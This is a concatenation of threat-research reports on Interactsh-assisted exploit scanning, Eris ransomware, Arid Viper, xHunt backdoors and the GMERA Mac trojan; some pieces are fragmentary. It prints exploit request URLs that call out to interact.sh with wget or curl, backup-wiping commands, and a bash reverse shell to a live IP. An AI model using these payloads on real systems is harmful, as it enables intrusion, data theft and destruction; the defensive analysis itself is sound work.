| CVE-2018-15517 | High | Server-Side Request Forgery (SSRF) | 6 |
| CVE-2009-4223 | N/A | PHP Remote File Inclusion | 5 |
| CVE-2019-18394 | Critical | Server-Side Request Forgery (SSRF) | 5 |
| CVE-2021-27886 | Critical | Remote Code Execution | 3 |
| CVE-2020-13379 | High | Server-Side Request Forgery (SSRF) | 2 |
We collected data from URL Filtering with PAN-DB from March 7-Sept. 7 and recorded around 32,200 Interactsh hits. Focusing on vulnerability/exploit attempts, the table ranks the CVEs the observed traffic most commonly attempted to exploit. This means the actors behind the traffic are using Interactsh API tools to test whether their exploit attempts succeed. Each unique Interactsh URL can be thought of as a C2. Most of the exploits for the same CVEs are using multiple randomly generated Interactsh domains and scanning on different host sides.
| CVE Number | Severity | Category |
|---------------------|----------|-------------------------------------------------|
| CVE-2021-31755 | Critical | Remote Code Execution |
| CVE-2020-28871 | Critical | Remote Code Execution |
| CVE-2020-25223 | Critical | Remote Code Execution |
| CVE-2020-8813 | High | Remote Code Execution |
| CVE-2020-7247 | Critical | Remote Code Execution |
| CVE-2020-28188, CVE-2020-15568, CVE-2018-13354, CVE-2018-13338 | Critical | Remote Code Execution |
| CVE-2019-2616 | High | Authentication Bypass (Insert Data) |
| CVE-2018-16167 | High | Remote Code Execution |
| CVE-2018-14839 | Critical | Remote Code Execution |
| CVE-2016-1555 | Critical | Remote Code Execution |
From our soak site (an internal network monitoring tool), we also captured some Interactsh activity, which could raise awareness of active exploits attempts.
## Interactsh Activity Distribution
We also found several DNS queries using Interactsh from Cortex Xpanse data. We found three suspicious IP addresses. `82.112.184.197` is flagged as potential malware in VirusTotal, and `138.68.184.23` is a phishing site. We also found `82.112.184.206`, flagged malicious. All three of these IP addresses have a large volume of Interactsh activity.
We analyzed all the exploits we observed that used the Interactsh tool, starting from the time it went public. Though the tool has been available online since April, we noted increasing usage of the tool in June.
## Conclusion
Even though Interactsh can be used for legitimate purposes, it is widely used by attackers to test malicious traffic. Its testing traffic therefore could be followed by a series of exploits. The trend of using third-party open-source tools to test exploits has become more popular in the last few years. It is convenient for attackers to use open-source tools, and it is hard for defenders to simply block this traffic by services/IP/server etc. To help organizations defend against malicious exploits that originate this way, we need to raise awareness about the tool.
Palo Alto Networks Next-Generation Firewall customers who use Threat Prevention, Advanced URL Filtering, DNS Security, and WildFire security subscriptions are protected against benign append attacks that use Interactsh. DNS Security has marked `interact.sh` as a malicious site.
We also recommend the following actions:
- Run a Best Practice Assessment to identify where your configuration could be altered to improve your security posture.
- Continuously update your Next-Generation Firewalls with the latest Palo Alto Networks Threat Prevention content (e.g. versions 8467 and above).
## Use Case Examples: Exploits Leveraging Interactsh
- `hxxp://ip-addr/uapi-cgi/certmngr.cgi?action=createselfcert&local=anything&country=aa&state=$(wget hxxp://c44s021vkr17popa98agcrrhyneyyyd7c.interact.sh)&organization=anything&organizationunit=anything&commonname=anything&days=1&` (CVE-2021-33544)
- `hxxp://ip-addr/securityrealm/user/admin/descriptorbyname/org.jenkinsci.plugins.github.config.githubtokencredentialscreator/createtokenbypassword?apiurl=hxxp://c4b14uqjfg5t9muoh3pgcrca3hoyfrbcr.interact.sh` (CVE-2018-1000600)
- `hxxp://ip-addr/xmlpserver/convert?xml=<?xml+version="1.0"+?><!doctype+r+[<!element+r+any+><!entity+%+sp+system+"hxxp://c38r5fq23aksk1ma690gcdmc6doyyahck.interact.sh/xxe.xml">%sp;%param1;]>&_xf=excel&_xl=123&template=1` (CVE-2019-2767)
- `hxxp://ip-addr/solr/select?qt=/config#&&shards=127.0.0.1:8984/solq&stream.body={"add-listener":{"event":"postcommit","name":"nuclei","class":"solr.runexecutablelistener","exe":"sh","dir":"/bin/","args":["-c","$@|sh",".","echo","nslookup","$(whoami).c38at9vk6tb1j2mah7i0cdeca5yyybucs.interact.sh"]}}&wt=json&isshard=true&q=apple`
- `hxxp://ip-addr/search?q={!xmlparser v="<!doctype a system hxxp://c3167tzyedf0000sfc2ggbo7zoeyyyyyp.interact.sh/solr/gettingstarted/upload?stream.body={"xx":"yy"}&commit=true"}<a></a>` (CVE-2017-12629)
- `hxxp://ip-addr/solr/db/replication?command=fetchindex&masterurl=hxxp://c3167tzyedf0000sfc2ggboug8cyyyyyb.interact.sh:80/xxxx&wt=json&httpbasicauthuser=aaa&httpbasica` (CVE-2021-27905)
- `hxxp://ip-addr/?defaultFilter=e')); let require = global.require || global.process.mainModule.constructor._load; require('child_process').exec('curl c32s61pbq16mga0vler0cdnhgbayyyyyn.interact.sh');` (CVE-2021-32819)
- `hxxp://ip-addr/plugins/servlet/oauth/users/icon-uri?consumeruri=hxxp://c33mg9s2ndhfbpsj7legcddsomayyyyp.interact.sh` (CVE-2017-9506)
- `hxxp://ip-addr/index.php/system/mailconnect/host/c4b14uqjfg5t9muoh3pgcrqz7oyykqcuq.interact.sh/port/80/secure` (CVE-2018-15517)
- `hxxp://ip-addr/api/container/command?container=&command=;curl hxxp://c44h3el4f1mfla5idm10crrtxqyyyjpp4.interact.sh` (CVE-2021-27886)
- `hxxp://ip-addr/avatar/test?d=redirect.rhynorater.com?;/bp.blogspot.com/c3jrcoqkfbhrf4rcsmr0cdu5taayynuze.interact.sh` (CVE-2020-13379)
- `hxxp://ip-addr/adm/krgourl.php?document_root=hxxp://c45luqovk0lir2vett1gcrf4iyayy468g.interact.sh` (CVE-2009-4223)
- `hxxp://ip-addr/umbraco/feedproxy.aspx?url=hxxp://c3qsfdg4hl24te8g7rc0cd9erqyygmui6.interact.sh` (CVE-2012-1301)
- `hxxp://ip-addr/getfavicon?host=hxxp://c3uhg4emp8vt8fqq370gcd6th6ayyy4b6.interact.sh` (CVE-2019-18394) |
# SWIFT Attackers’ Malware Linked to More Financial Attacks
SWIFT attackers’ malware has been linked to an increase in financial attacks. |
# Go Under the Hood: Eris Ransomware
Eris ransomware was first discovered in May 2019. In July, it was reported by Bleeping Computer that the malware was being distributed by the RIG exploit kit. Here is a set of analysis notes for version two of the family. The sample used for the analysis has the hash of `99d19dd82330a1c437a64e7ca9896ad9d914de10c4f7aa2222b1a5bc4750f692`.
## Malware Overview
Version two of the Eris ransomware is made up of six packages:
- **Sync package**: Used to collect victim information and send it to the operator.
- **Main package**
- **Utils**
- **Cryptography**
- **Anti package**: Used for wiping 3rd party backup files.
- **Walk package**: Used to walk the file system.
### Source Code Layout
**Package Eris/Sync:**
- `init`: Lines 1 to 11 (10)
- `GetOS`: Lines 5 to 17 (12)
- `GetSpace`: Lines 11 to 12 (1)
- `GetID`: Lines 11 to 25 (14)
- `GetGeo`: Lines 12 to 22 (10)
- `GetSyncInfo`: Lines 17 to 85 (68)
- `machineID`: Lines 25 to 27 (2)
- `GetSyns`: Lines 85 to 451 (366)
**Package main:**
- `init`: Lines 1 to 1 (0)
- `Init`: Lines 30 to 46 (16)
- `main`: Lines 46 to 236 (190)
- `mainfunc1`: Lines 165 to 166 (1)
- `ReadFileA`: Lines 236 to 246 (10)
- `LineCountA`: Lines 246 to 250 (4)
**Package Eris/Utils:**
- `init`: Lines 1 to 1 (0)
- `RandStringBytes`: Lines 18 to 35 (17)
- `Kill`: Lines 35 to 64 (29)
- `initializers`: Lines 43 to 44 (1)
- `Execute`: Lines 64 to 83 (19)
- `(*WindowsProcess)Pid`: Lines 78 to 82 (4)
- `(*WindowsProcess)PPid`: Lines 82 to 86 (4)
- `GetDrive`: Lines 83 to 107 (24)
- `(*WindowsProcess)Executable`: Lines 86 to 90 (4)
- `newWindowsProcess`: Lines 90 to 122 (32)
- `Contains`: Lines 107 to 119 (12)
- `Exists`: Lines 119 to 130 (11)
- `processes`: Lines 122 to 127 (5)
- `Wrap`: Lines 130 to 139 (9)
**Package Eris/Cryptography:**
- `init`: Lines 1 to 1 (0)
- `RC4Encrypt`: Lines 5 to 15 (10)
- `RSAGenerateKey`: Lines 15 to 43 (28)
- `Lock`: Lines 23 to 57 (34)
- `RSAEncrypt`: Lines 43 to 46 (3)
**Package Eris/Anti:**
- `init`: Lines 1 to 10 (9)
- `WipeBackup`: Lines 11 to 15 (4)
**Package Eris/Walk:**
- `init`: Lines 1 to 116 (115)
- `Check`: Lines 10 to 18 (8)
- `WalkDirectories`: Lines 18 to 130 (112)
- `WalkComputer`: Lines 130 to 133 (3)
- `WalkComputerfunc1`: Lines 133 to 142 (9)
- `WalkComputerfunc2`: Lines 142 to 143 (1)
## Technical Breakdown
### Loading Import Functions
The malware loads some additional imports in its init function. These imports are later used to list all the running processes.
### Encryption Key Generation
The malware uses the following struct to store the keys generated for the victim:
```go
type main.Session struct {
Extension string
PUBLIC_KEY []uint8
E_PRIVATE_KEY []uint8
}
```
It is also stored encrypted on the disk. The following snippet shows the generation of the file path to the files:
- `%ALLUSERSPROFILE%\00000000.pky`
- `%ALLUSERSPROFILE%\00000000.eky`
- `%ALLUSERSPROFILE%\00000000.ext`
If files already exist, they are used instead of generating a new key.
The victim’s private key is encrypted with the threat actor’s public key. The encrypted blob is further encrypted with RC4.
### Threat Actor’s Key
```
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAiVFawLHK0Gld4XUYi7Wq
1ura1N78VvOuW4kvH/yDYOajqRx7nqFB2mokTDqHa5phT48FtLMbuFc+j39YnZBa
jjSN2zDaC13vDRNXfiW41yJAtMAJXh17cE/lAdAgEUQdYwJPVHfDuCPGGO5Dn+hg
xehdJvIiNFbKCCFP7EojDH0kK1h9p8TngwqHySBNLUADKeONKPk171oe+5isEnbF
VjBcinGF13V/CRBKXsrH2z7BCWtyZTG+MWXRqUOn2mYOFgt4ZNOe4U0nz6/A1YmJ
V8NybH2vHp4Bs/ov7RcnQUvW0BwG0/xp6YDSaOt59A0rEbJE0+J3NTlEVPesehOr
xwIDAQAB
-----END PUBLIC KEY-----
```
The malware also looks for the existence of the file: `C:\eris.was`.
## Victim Information
The Eris malware collects information about the infected system. The data is populated into the structure shown below:
```go
type Struct.BotJson struct {
UID string
SID string
Kind int
Storage []struct {
Alphabet string `json:"alphabet"`
Label string `json:"label"`
Type int `json:"type"`
Free int64 `json:"free"`
Full int64 `json:"full"`
}
Extension string
OS string
UserName string
PCName string
Country string
City string
IP string
Org string
Stage1 string
Stage2 string
Date int64
}
```
Username is collected from the environment variable and the host name is retrieved via the standard library function.
The ID of the machine is generated from the machine ID. First, the GUID is fetched from the registry. The GUID is hashed with SHA1 and the hex-encoded string is used as the ID. If no GUID is found, the ID is generated from a set of random bytes.
### Disk Space Gathering
Disk space is gathered from all disks attached. The malware checks which drive letters exist. The information for each drive is stored in a slice of structs.
### Operating Information
Operating information is collected from the registry key `ProductName`.
### Geo-location Gathering
Geo-location is gathered by performing a request to `extreme-ip-lookup.com`. The user agent used is:
```
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
```
### Ransomware Initialization
Before encrypting files, the malware prepares the ransom note. The note is shown below:
```
*** READ THIS FILE CAREFULLY TO RECOVERY YOUR FILES ***
ALERT!
ALL OF YOUR FILES HAVE BEEN ENCRYPTED BY "ERIS RANSOMWARE" v{version}!
Welcome to Eris System Security Encryption Program!
Keeping strong security for our clients in mind, we have implemented Strong Encryption Algorithm for securing the system.
To personally update regarding the available decryption software and payment methods. Follow the steps below to access the payment page.
1. Download and install Tor browser from here:
URL - https://www.torproject.org/download/
2. Visit page below using Tor browser:
URL - http://{host}/{id}
3. Enter your "ERIS IDENTIFICATION". (You can find it below)
4. Follow the next steps (instructions) displayed on the page for successful decryption.
Note:
We only accept payments via Bitcoin (BTC)!
ERIS IDENTIFICATION:
{identification}
* IF YOU NOT FOLLOW INSTRUCTIONS IN PAYMENT PAGE MORE THAN 7 DAYS!, YOUR CANNOT ACCESS TO PAYMENT PAGE OR YOUR FILES ANYMORE!
* IN CASE OF FOLLOWING OUR INSTRUCTION, FAST AND EASILY EVERYTHING IS BACK TO NORMAL LIKE THAT NEVER HAPPENED! BUT IF YOU USE OTHER METHODS (THAT NEVER EVER HELPS) YOU JUST DESTROY EVERYTHING FOR GOODNESS!
---------------------------------
* DO NOT MODIFY ENCRYPTED FILE(S)
* DO NOT MOVE ENCRYPTED FILES
* DO NOT USE RECOVERY SOFTWARE(S)
---------------------------------
```
### Process Enumeration
The malware enumerates all the running processes. If any of the running processes' names contain certain strings, it is killed.
### Encrypting Files
The malware walks all the disks and encrypts the files. It can perform this process “multithreaded” if a command line flag is given. The malware skips any folders and files containing specific strings or extensions.
### Preventing Recovery
After encryption of the files, the following commands are executed:
```
taskkill.exe /f /im mysqld.exe
taskkill.exe /f /im sqlwriter.exe
taskkill.exe /f /im sqlserver.exe
taskkill.exe /f /im MSExchange*
taskkill.exe /f /im Microsoft.Exchange.*
vssadmin delete shadows /all /quiet
wmic shadowcopy delete
wbadmin delete catalog -quiet
bcdedit /set {default} bootstatuspolicy ignoreallfailures
bcdedit /set {default} recoveryenabled no
``` |
# Operation Arid Viper Slithers Back into View
Earlier this year, researchers published analyses of a targeted attack known as Operation Arid Viper (aka Desert Falcons, aka DHS) directed primarily at organizations in the Middle East. Delivering a backdoor and spyware, this campaign was designed to steal information from infected systems using a malware client capable of filtering out “uninteresting” files, and spread primarily via a targeted phishing email usually promising a pornographic video.
The infection chain described in the initial analyses was fairly straightforward: To access the video content, the recipient had to open an attached RAR archive file – or less frequently, click a link to a RAR – that extracted an SCR (Windows screensaver) file, which in turn drops two files: a malicious EXE with the name of a legitimate file (such as “skype.exe”), and a video format file, usually FLV or MPG.
Despite the apparent severity and extent of this threat, little has been written about it in the intervening months, and the operation appeared to be dormant. However, Proofpoint researchers recently intercepted and analyzed phishing emails distributing Arid Viper malware payloads with some noteworthy updates.
As with the originally documented examples, these messages were part of narrow campaigns targeting specific industry verticals: telecoms, high tech, and business services, primarily in Israel. In these samples, the spear-phishing email contained a link to a RAR file hosted on MediaFire – no attachments were observed. Instead of a pornographic video, the actors showed a change in TTP by using as lure a video of a fiery automobile accident.
Clicking the linked RAR brings up a prompt to download the file “this.morning.rar” to their computer. The file “this.morning” is a RAR self-extracting (SFX) archive (cd89897a2b6946a332354e0609c0b8b4). Once downloaded, the user opens the RAR which extracts what appears to be a video file named “this.morning”. In fact, double-clicking RAR SFX extracts and executes two files contained in this archive:
- A non-malicious video file: this.morning.flv (41bf348254b921bbd21350a70f843683)
- The malware payload: chrome.exe (2ae0f580728c43b3a3888dfbe76ad689)
In this regard, the infection chain is still similar to that described in the original Operation Arid Viper analysis, but with noticeable changes to the filenames and email lure, among others. The end user will see the promised video, while in the background the malicious “chrome.exe” begins its communication with the command and control (C2) server: in both cases the action is automatic and initiated simply by double-clicking the self-extracting RAR SFX archive, with no further interaction by the end-user needed.
The following is an example of the initial C2 beacon:
```
GET /Sounds/sound_q.php?p=—[redacted]. HTTP/1.1
Accept: text/*
User-Agent: AudioDrive
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Host: oowdesign [.] com
Cache-Control: no-cache
```
And this is an example of the C2 server response:
```
HTTP/1.1 200 OK
Server: nginx
Date: Wed, 26 Aug 2015 14:11:52 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.3.29
```
The malware payload still uses the type of hard drive and a set of numbers as a unique identifier; for example: VMware-VMwareVirtualSSCSIDisk—[redacted]. Moreover, the malware compile time appears to be quite recent.
The Trojan continues to exhibit its behavior of downloading an update following the first C2 communication, and in this case Proofpoint researchers succeeded in patching the initial malware to obtain the second stage malware payload (3a401a679d147b070eb8ccae5df3dc43), which allowed us to observe more activities. Previously described as the Operation Arid Viper backdoor, the second stage payload was observed in traffic to be obfuscated with standard base64-encoding. The second-stage backdoor has a compile date prior to the first stage malware by nearly a day.
During the infection process, the Arid Viper malware makes multiple HTTP GET requests to register the client with the server and check for updates:
```
GET /designs/new_user.php?s1=[---UID---]&s2=8 HTTP/1.1
GET /designs/is_ok.php?s1=[---UID---] HTTP/1.1
GET /designs/add_recoord.php?s1=[---UID---]&s2=8&s3=2[---Date---]&s4=msn
GET /designs/get_t.php?s1=[---UID---]&s2=[---Date---]
GET /designs/add_t.php?s1=[---UID---]&s2=[---Date---]
GET /designs/get_r.php?s1=[---UID---]
```
In addition, the backdoor POSTs data back to the server:
```
POST /designs/drive_update.php HTTP/1.1
User-Agent: Realtek
Content-Type: application/x-www-form-urlencoded
Host: smilydesign [.] com
Content-Length: 978
Pragma: no-cache
```
The Arid Viper backdoor also sends GETs to confirm the existence of interesting data/files, with the path and filenames included in the request. The following exchanges show the GET request (with filename and path in bold), and C2 server response (i.e., “OK”):
```
GET /designs/send_request_r_data.php?s1=[redacted]&path=C:/Users/COMPUTER/AppData/Roaming/Mozilla/Firefox/Profiles/[redacted]. HTTP/1.1
HTTP/1.1 200 OK
```
In addition, analysis of the Arid Viper backdoor binary shows evidence of keylogging capabilities:
```
00000006E2C4 00000046F2C4 0 [The Right KeyPressed]
00000006E2F4 00000046F2F4 0 [The LeFT Key Pressed]
00000006E324 00000046F324 0 [The Down Key Is Pressed]
00000006E358 00000046F358 0 [The Up Key Is Pressed]
```
As well as the ability to steal browser data:
```
00000006DC30 00000046EC30 0 \logins.json
00000006DC40 00000046EC40 0 \key3.db
00000006DC4C 00000046EC4C 0 \Mozilla\Firefox\Profiles\
```
The Arid Viper backdoor encrypts data to be exfiltrated in order to avoid detection, and after additional analysis Proofpoint researchers succeeded in determining its encryption routine.
## Data Exfiltration
The updated data exfiltration of the new Arid Viper backdoor functions similarly to previously documented versions. The table below lists some of the different functionalities paired with the actor-assigned indicator, which can be seen in both the HTTP client body along with exfiltrated data as well as in the URI once exfiltration is complete.
| Exfiltration Type | Description |
|-------------------|-------------|
| msn | Computer name, user name, as well as Windows Live credentials (if found) are exfiltrated as plaintext data before encryption |
| tree | A “directory tree” of files and directories. This is stored compressed in a password-protected zip. |
| log | A keylog containing a list of programs and keystrokes recorded in each program. This file is transmitted in a password-protected zip. |
| rfile | A password-protected zip containing the exfiltrated file named as file.dll as well as a text file (name.txt) containing the original full path and name of the exfiltrated file. |
| img | Screenshots are taken every ~5 minutes in the initial function. Several screenshots are then compressed into a password-protected zip file. |
Captured C2 traffic provides an example of the network traffic seen during a msn data exfiltration.
Although the data that is exfiltrated and the manner in which it is gathered remain largely the same as in previously documented versions, the final result that is transmitted to an attacker-controlled server has changed significantly. In an older version of this backdoor, exfiltrated data was simply base64-encoded using a slightly modified base64 alphabet (“-” instead of “+”). In the newer version, prior to base64 encoding the exfiltrated data is first encrypted with AES-256 in CBC mode.
To generate the key/IV pair, first the malware randomly generates 60 bytes of data. From this, the first 32 bytes are used for the key, the next byte is skipped, and the following 16 bytes are used for the IV. After encryption, the key, separator byte, IV, leftover bytes and padding are then encoded into a 512-byte block of data and prepended to the encrypted data. The encoded key/IV and encrypted data are then base64-encoded using the same modified alphabet. Just like in the older version, this data is then appended to the final variable in the POST’s HTTP client body and sent to an attacker-controlled server.
## Reinventing the Wheel
Numerous examples over the years have served to remind us that designing your own cryptography implementation is difficult and usually ill-advised. The authors of the updated Arid Viper backdoor seem to have overlooked this lesson for, although certain measures have been taken to protect the generated secret keys and IVs, their implementation is susceptible to a brute force attack, often capable of finding the correct key/IV combination in less than one second.
Determining the encryption scheme that is applied to the updated Arid Viper backdoor’s exfiltrated data enables us to better detect C2 communication while also rapidly determining the extent and impact of the data breach carried out by the malware client.
## Conclusion
In summary, this update to Operation Arid Viper demonstrates that despite its relatively low profile since February, the Arid Viper / Desert Falcons threat still has teeth and remains a risk for organizations in Israel and elsewhere. While the overall attack profile observed in recent examples remains similar to the originally documented campaigns, the recent campaigns exhibit several important updates:
- Use of links instead of attachments
- New lures: still using pornographic video but most recent detections also included lures for auto accident footage
- New executable name: originally reported using “skype.exe” (and variations on “skype”), the recent samples used “chrome.exe”
- New C2 domains
- Added encryption for exfiltrated data
The return of Operation Arid Viper shows that targeted attacks can remain a threat even – and especially – when they are no longer in the headlines. |
# xHunt Campaign: Newly Discovered Backdoors Using Deleted Email Drafts and DNS Tunneling for Command and Control
**By Robert Falcone**
**November 9, 2020**
**Category: Unit 42**
**Tags: backdoor, C2, CASHY200, dns tunneling, Snugy, TriFive, xHunt**
## Executive Summary
The xHunt campaign has been active since at least July 2018, targeting Kuwait government and shipping and transportation organizations. Recently, we observed evidence that the threat actors compromised a Microsoft Exchange Server at an organization in Kuwait. Based on the creation timestamps of scheduled tasks associated with the breach, we believe the threat actors gained access to the Exchange server on or before Aug. 22, 2019. The activity we observed involved two backdoors – one of which we call TriFive and a variant of CASHY200 that we call Snugy – as well as a web shell that we call BumbleBee.
The TriFive and Snugy backdoors are PowerShell scripts that provide backdoor access to the compromised Exchange server, using different command and control (C2) channels to communicate with the actors. The TriFive backdoor uses an email-based channel that utilizes Exchange Web Services (EWS) to create drafts within the Deleted Items folder of a compromised email account. The Snugy backdoor uses a DNS tunneling channel to run commands on the compromised server.
## TriFive and Snugy Backdoors
In September 2020, we were notified that threat actors breached an organization in Kuwait. The organization's Exchange server had suspicious commands being executed via the Internet Information Services (IIS) process w3wp.exe. Actors issued these commands via a web shell we call BumbleBee. We investigated how the actors installed the web shell on the system and discovered two scheduled tasks created by the threat actor well before the dates of the collected logs, both of which would run malicious PowerShell scripts.
The actors created two tasks on the Exchange server named ResolutionHosts and ResolutionsHosts, both of which were created within the `c:\Windows\System32\Tasks\Microsoft\Windows\WDI` folder. This folder also stores a legitimate ResolutionHost task by default on Windows systems. We believe that the actor chose these task names specifically to blend in and appear to be part of the legitimate WDI.
On Aug. 28 and Oct. 22, 2019, the actors created the ResolutionHosts and ResolutionsHosts tasks to run two separate PowerShell-based backdoors. The commands executed by the two tasks attempt to run `splwow64.ps1` and `OfficeIntegrator.ps1`, which are backdoors that we call TriFive and Snugy, respectively. The scripts were stored in two separate folders on the system, likely an attempt to avoid both backdoors being discovered and removed.
| Task | Created Time | Run Interval | Command |
|---------------------|----------------------|--------------|-------------------------------------------------------|
| ResolutionHosts | 2019-08-28T20:01:34 | 30 minutes | powershell -exec bypass -file C:\Users\Public\Libraries\OfficeIntegrator.ps1 |
| ResolutionsHosts | 2019-10-22T15:02:39 | 5 minutes | powershell -exec bypass -file c:\windows\splwow64.ps1 |
The table shows that the two backdoors were executed at different intervals, with the TriFive backdoor running every five minutes and the Snugy backdoor running every 30 minutes.
## TriFive Backdoor
TriFive is a previously unseen PowerShell-based backdoor that the xHunt actors installed on the compromised Exchange server, executing every five minutes via a scheduled task. TriFive provided backdoor access to the Exchange server by logging into a legitimate user's inbox and obtaining a PowerShell script from an email draft within the deleted emails folder.
To issue commands to the backdoor, the actor would log into the same legitimate email account and create an email draft with a subject of 555, including the command in encrypted and base64 encoded format. The script would execute this via PowerShell.
To run the commands supplied by the actor, the PowerShell script logs into a legitimate email account on the Exchange server and checks the Deleted Items folder for emails with a subject of 555. The script opens the email draft, base64 decodes the contents in the message body of the email, and decrypts the decoded contents by subtracting 10 from each character. The script then runs the resulting cleartext using PowerShell's built-in Invoke-Expression (iex) cmdlet. After executing the provided PowerShell code, the script will encrypt the results by adding 10 to each character and base64 encoding the ciphertext.
## Snugy Backdoor
The OfficeIntegrator.ps1 file seen in the ResolutionHosts task is a PowerShell-based backdoor we call Snugy, which allows an actor to obtain the system's hostname and to run commands. Snugy is a variant of the CASHY200 backdoor used by actors in previous attacks in the xHunt campaign.
Much like CASHY200, Snugy uses DNS tunneling to communicate with its C2 server, specifically by issuing DNS A record lookups to resolve custom crafted subdomains of actor-controlled C2 domains. The Snugy sample was configured to choose one of the following domains at random as its C2 domain: hotsoft[.]icu, uplearn[.]top, lidarcc[.]icu, deman1[.]icu.
The Snugy DNS tunneling protocol can only send one byte of data per query, making it quite inefficient at exfiltrating data, but the use of DNS A record queries suggests that the DNS tunneling protocol can receive four bytes of data per DNS query.
## Conclusion
The xHunt campaign continues as threat actors attack organizations in Kuwait. The group shows an ability to adjust their tools with slightly new features and communication channels to avoid detection. Both of the backdoors installed on the compromised Exchange server of a Kuwait government organization used covert channels for C2 communications, specifically DNS tunneling and an email-based channel using drafts in the Deleted Items folder of a compromised email account.
Palo Alto Networks customers are protected from the attacks outlined in this blog in the following ways:
- All known TriFive and Snugy backdoors have malicious verdicts in WildFire.
- AutoFocus customers can track the TriFive and Snugy backdoors with the tags TriFive and Snugy.
- Cortex XDR blocks both TriFive and Snugy payloads.
- Snugy C2 domains have been categorized as Command and Control in URL Filtering and DNS Security.
- Threat Prevention signature “TriFive Backdoor Command and Control Traffic Detection” detects the TriFive command and control channel.
## Indicators of Compromise
**TriFive Samples**
- 407e5fe4f6977dd27bc0050b2ee8f04b398e9bd28edd9d4604b782a945f8120f
**Snugy Samples**
- c18985a949cada3b41919c2da274e0ffa6e2c8c9fb45bade55c1e3b6ee9e1393
- 6c13084f213416089beec7d49f0ef40fea3d28207047385dda4599517b56e127
- efaa5a87afbb18fc63dbf4527ca34b6d376f14414aa1e7eb962485c45bf38372
- a4a0ec94dd681c030d66e879ff475ca76668acc46545bbaff49b20e17683f99c
**Snugy C2 Domains**
- deman1[.]icu
- hotsoft[.]icu
- uplearn[.]top
- lidarcc[.]icu
- sharepoint-web[.]com
**Scheduled Task Names**
- ResolutionHosts
- ResolutionsHosts
- SystemDataProvider
- CacheTask |
# Mac Malware, Spoofs App, Steals User Information
Unlike in the pre-internet era, when trading in the stock or commodities market involved a phone call to a broker, the rise of trading apps has placed the ability to trade in the hands of ordinary users. However, their popularity has led to their abuse by cybercriminals who create fake trading apps to steal personal data. We recently found and analyzed an example of such an app, which had a malicious malware variant that disguised itself as a legitimate Mac-based trading app called Stockfolio.
We found two variants of the malware family. The first one contains a pair of shell scripts and connects to a remote site to decrypt its encrypted codes, while the second sample, despite using a simpler routine involving a single shell script, incorporates a persistence mechanism.
## Sample 1: Trojan.MacOS.GMERA.A
We found the first sample (detected as Trojan.MacOS.GMERA.A) while checking suspicious shell scripts flagged by our machine learning system. At first glance, it was challenging to directly identify its malicious behavior because the shell script references other files such as AppCode, .pass, and .app. To verify that the behavior was indeed malicious, we sourced the parent file using both our infrastructure and the aggregate website VirusTotal.
The initial sample we analyzed was a zip archive file (detected as Trojan.MacOS.GMERA.A) that contained an app bundle (Stockfoli.app) and a hidden encrypted file (.app). The fake app presents itself as legitimate to trick users, but we found that it contained several malicious components.
The first suspicious component we found was an app bundle under the Resources directory, which seems to be a copy of the legitimate Stockfolio version 1.4.13 but with the malware author’s digital certificate. Comparing it to the Resources directory of the current version (1.5) revealed a number of differences.
### Technical Analysis
When the app is executed, an actual trading app interface will appear on-screen. However, unbeknownst to the user, the malware variant is already performing its malicious routines in the background.
The main Mach-O executable will launch the following bundled shell scripts in the Resources directory:
- plugin
- stock
#### The plugin shell script
The plugin shell script collects the following information from the infected system:
- username
- IP address
- apps in /Applications
- files in ~/Documents
- files in ~/Desktop
- OS installation date
- file system disk space usage
- graphic/display information
- wireless network information
- screenshots
It then encodes the collected information using base64 encoding and saves it in a hidden file: /tmp/.info. It uploads the file to hxxps://appstockfolio.com/panel/upload[.]php using the collected username and machine serial number as identifiers. If a successful response is sent from the URL, it will write the response in another hidden file ~/Library/Containers/.pass.
#### The stock shell script
The stock shell script will copy Stockfoli.app/Contents/Resources/appcode to /private/var/tmp/appcode. It then locates the .app file, which is the hidden file in the zip bundle that comes with Stockfoli.app. It decodes the b64-encoded .app file, executes it, then drops the following:
- /tmp/.hostname: gmzera54l5qpa6lm.onion
- /tmp/.privatkey: RSA private key
It will delete the .app file then check if the file ~/Library/Containers/.pass exists. Using the contents of the ‘.pass’ file as the key, the malware variant will decrypt /private/var/tmp/appcode, which is encrypted using AES-256-CBC. It then saves the decrypted file to /tmp/appcode. Finally, it will execute the appcode. If it fails to do so, it will delete the /tmp/appcode file and ~/Library/Containers/.pass.
We suspect the file appcode is a malware file that contains additional routines. However, we were unable to decrypt this file since the upload URL hxxps://appstockfolio.com/panel/upload[.]php was inaccessible. Furthermore, we suspect that the full malware routine uses the TOR network due to the presence of the unused address gmzera54l5qpa6lm[.]onion.
## Sample 2: Trojan.MacOS.GMERA.B
Using the digital certificate of the first sample, we were able to find a second variant (detected as Trojan.MacOS.GMERA.B) that was uploaded to VirusTotal in June 2019. Like the first variant, it contains an embedded copy of Stockfolio.app version 1.4.13 with the malware author’s digital certificate. It launches the app in a similar manner when executed to disguise its malicious intent.
Once opened, Trojan.MacOS.GMERA.B will execute the embedded copy of Stockfolio version 1.4.13, after which it will launch the shell script run.sh. The script run.sh collects usernames and IP addresses from the infected machine via the following command:
- username = ‘whoami’
- ip address = 'curl -s ipecho.net/plain'
It connects to the malware URL hxxp://owpqkszz[.]info to send the username and IP address information using the following format:
- hxxp://owpqkszz[.]info/link.php?{username}&{ip address}
As part of its routine, the malware also drops the following files:
- /private/tmp/.com.apple.upd.plist: Copy of ~/Library/LaunchAgents/.com.apple.upd.plist
- ~/Library/LaunchAgents/.com.apple.upd.plist: Persistence mechanism
- /tmp/loglog: Malware execution logs
It then creates a simple reverse shell to the C&C server 193[.]37[.]212[.]176. Once connected, the malware author can run shell commands.
One of the primary changes found in the second variant, aside from the simplified routine, is the presence of a persistence mechanism via the creation of a property list (plist) file: ~/Library/LaunchAgents/.com.apple.upd.plist.
After we decoded the b64-encoded arguments for the plist file, we found the following code:
```
while :; do sleep 10000; screen -X quit; lsof -ti :25733 | xargs kill -9; screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212.176/25733 0>&1'; done
```
This code instructs the plist file to constantly create the reverse shell mentioned earlier, occurring every 10,000 seconds. The simple reverse shell created was observed to use the ports 25733-25736.
## Conclusion
